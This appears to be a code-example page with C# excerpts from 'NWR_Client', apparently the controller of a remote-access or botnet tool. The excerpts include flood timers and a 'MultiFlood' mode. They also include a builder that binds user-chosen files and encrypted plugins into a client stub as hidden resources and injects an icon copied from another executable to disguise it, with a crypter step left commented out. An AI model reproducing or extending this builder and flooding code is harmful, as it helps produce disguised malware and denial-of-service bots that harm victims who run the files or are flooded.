Exemple #1
0
        public Main(NWR_Client.Client client)
        {
            InitializeComponent();
            Clients = null;
            xClient = client;
            Functions.Center(this);
            conAddr = new List<string>();
            Icon = GlobalProperties.ApplicationIcon;
            GlobalProperties.MainForm = this;
            log = new Log(this);
            received = 0;
            sent = 0;
            peak = 0;
            total = Settings.GetTotal();
            lblTotal.Text = "Total: " + total.ToString();
            SelectionCount = 0;
            MultiFlood = false;
            geoIp = new GeoIP();
            User32.RegisterHotKey(Handle, 0, 0, (int)Keys.F1);
            User32.RegisterHotKey(Handle, 1, 0, (int)Keys.F2);
            User32.RegisterHotKey(Handle, 2, 0, (int)Keys.F3);
            User32.RegisterHotKey(Handle, 3, 0, (int)Keys.F4);
            User32.RegisterHotKey(Handle, 4, 0, (int)Keys.F5);
            User32.RegisterHotKey(Handle, 5, 0, (int)Keys.F6);

            xClient.DataReceived += new EventHandler<NWR_Client.DataReceivedEventArgs>(xClient_DataReceived);
            xClient.Disconnected += new EventHandler(xClient_Disconnected);

            GlobalProperties.Client = xClient;
            PluginHelper.PluginChanged += new EventHandler(PluginHelper_PluginChanged);
            FloodTimer.TimerStarted += new EventHandler(FloodTimer_TimerStarted);
            FloodTimer.TimerAborted += new EventHandler(FloodTimer_TimerAborted);
            FloodTimer.TimerChanged += new FloodTimer.FloodTimerChangedEventHandler(FloodTimer_TimerChanged);
            FloodTimer.TimerFinished += new EventHandler(FloodTimer_TimerFinished);
            Load += new EventHandler(Main_Load);
            NatUtility.StartDiscovery();

            NatUtility.DeviceFound += (S, E) =>
                {
                    GlobalProperties.NatDevices.Add(E.Device);
                };
            NatUtility.DeviceLost += (S, E) =>
                {
                    GlobalProperties.NatDevices.Remove(E.Device);
                };

            GlobalProperties.NI = ni;
        }
Exemple #2
0
        void Client_DataReceived(object sender, NWR_Client.DataReceivedEventArgs e)
        {
            Invoke((MethodInvoker)delegate
            {
                PacketReader r = e.Reader;

                switch ((Header)e.Header)
                {
                    case Header.BUILD:
                        int len = r.ReadInt32();
                        byte[] b = r.ReadBytes(len);
                        string binderResName = r.ReadString();
                        string pluginResName = r.ReadString();
                        MemoryStream ms = new MemoryStream(b);
                        AssemblyDefinition asm = AssemblyDefinition.ReadAssembly(ms);
                        ms.Close();
                        ms.Dispose();
                        len = 0;
                        Invoke((MethodInvoker)delegate
                        {
                            len = lstBinder.Items.Count;
                        });
                        if (len > 0)
                        {
                            ms = new MemoryStream();
                            BinaryWriter wr = new BinaryWriter(ms);
                            for (int i = 0; i < lstBinder.Items.Count; i++)
                            {
                                Invoke((MethodInvoker)delegate
                                {
                                    string name = lstBinder.Items[i].Text;
                                    string fileName = lstBinder.Items[i].SubItems[1].Text;
                                    byte[] file = File.ReadAllBytes(fileName);
                                    wr.Write(name);
                                    wr.Write(file.Length);
                                    wr.Write(file);
                                });
                            }
                            wr.Close();
                            byte[] bData = Encryption.Encrypt(ms.ToArray(), false);
                            EmbeddedResource bRes = new EmbeddedResource(binderResName, ManifestResourceAttributes.Private, bData);
                            asm.MainModule.Resources.Add(bRes);
                            ms.Dispose();
                        }
                        Invoke((MethodInvoker)delegate
                        {
                            len = lstPlugins.CheckedItems.Count;
                        });
                        if (len > 0)
                        {
                            ms = new MemoryStream();
                            BinaryWriter br = new BinaryWriter(ms);
                            Invoke((MethodInvoker)delegate
                            {
                                for (int i = 0; i < lstPlugins.CheckedItems.Count; i++)
                                {
                                    byte[] plugin = GlobalProperties.RawPlugins[(Guid)lstPlugins.CheckedItems[i].Tag];
                                    plugin = Encryption.Encrypt(plugin, false);
                                    br.Write(plugin.Length);
                                    br.Write(plugin);
                                }
                            });
                            br.Close();
                            byte[] data = Encryption.Encrypt(ms.ToArray(), false);
                            EmbeddedResource res = new EmbeddedResource(pluginResName, ManifestResourceAttributes.Private, data);
                            asm.MainModule.Resources.Add(res);
                        }

                        asm.Write(saveLoc);
                        //if (!xCrypt.Checked)
                        //{
                        if (GlobalProperties.BuildAssembly != null)
                        {
                            if (!string.IsNullOrEmpty(GlobalProperties.BuildAssembly.IconPath))
                            {
                                if (GlobalProperties.BuildAssembly.IconPath.ToLower().EndsWith(".exe"))
                                {
                                    try
                                    {
                                        IconExtractor iconEx = new IconExtractor(GlobalProperties.BuildAssembly.IconPath);
                                        Icon icon = null;
                                        if (iconEx.IconCount > 1)
                                        {
                                            SortedList<int, Icon> icons = new SortedList<int, Icon>();
                                            for (int i = 0; i < iconEx.IconCount; i++)
                                            {
                                                icons.Add(i, iconEx.GetIcon(i));
                                            }
                                            IconSelecterDialog isd = new IconSelecterDialog(icons);
                                            if (isd.ShowDialog() != System.Windows.Forms.DialogResult.OK)
                                            {
                                                icon = iconEx.GetIcon(0);
                                            }
                                            isd.Dispose();
                                            icon = iconEx.GetIcon(isd.Selected);
                                        }
                                        else if (iconEx.IconCount == 1)
                                        {
                                            icon = iconEx.GetIcon(0);
                                        }
                                        else
                                        {
                                            throw new Exception();
                                        }
                                        FileStream fs = new FileStream("Icon.ico", FileMode.Create);
                                        icon.Save(fs);
                                        fs.Close();
                                    }
                                    catch
                                    {
                                    }
                                }
                                else if (GlobalProperties.BuildAssembly.IconPath.ToLower().EndsWith(".ico"))
                                {
                                    File.Copy(GlobalProperties.BuildAssembly.IconPath, "Icon.ico");
                                }
                                if (File.Exists("Icon.ico"))
                                {
                                    IconInjector.InjectIcon("Icon.ico", saveLoc);
                                    File.Delete("Icon.ico");
                                }
                            }
                        }
                        //}
                        //else
                        //{
                        //    byte[] file = File.ReadAllBytes(saveLoc);
                        //    File.Delete(saveLoc);
                        //    BuildCry(file, saveLoc);
                        //}
                        MessageBox.Show("Build Successful!", "", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        break;
                }
            });
        }
Exemple #3
0
 void xClient_DataReceived(object sender, NWR_Client.DataReceivedEventArgs e)
 {
     switch (e.Header)
     {
         case 0x8:
             Invoke((MethodInvoker)delegate
             {
                 bool b = e.Reader.ReadBoolean();
                 MessageBox.Show(e.Reader.ReadString(), "Global Message from Server", MessageBoxButtons.OK, MessageBoxIcon.Information);
             });
             break;
         case 0xFF:
             //{
             //    GlobalProperties.Client.SendPing();
             //    GlobalProperties.Client.Alive = true;
             //}
             break;
     }
 }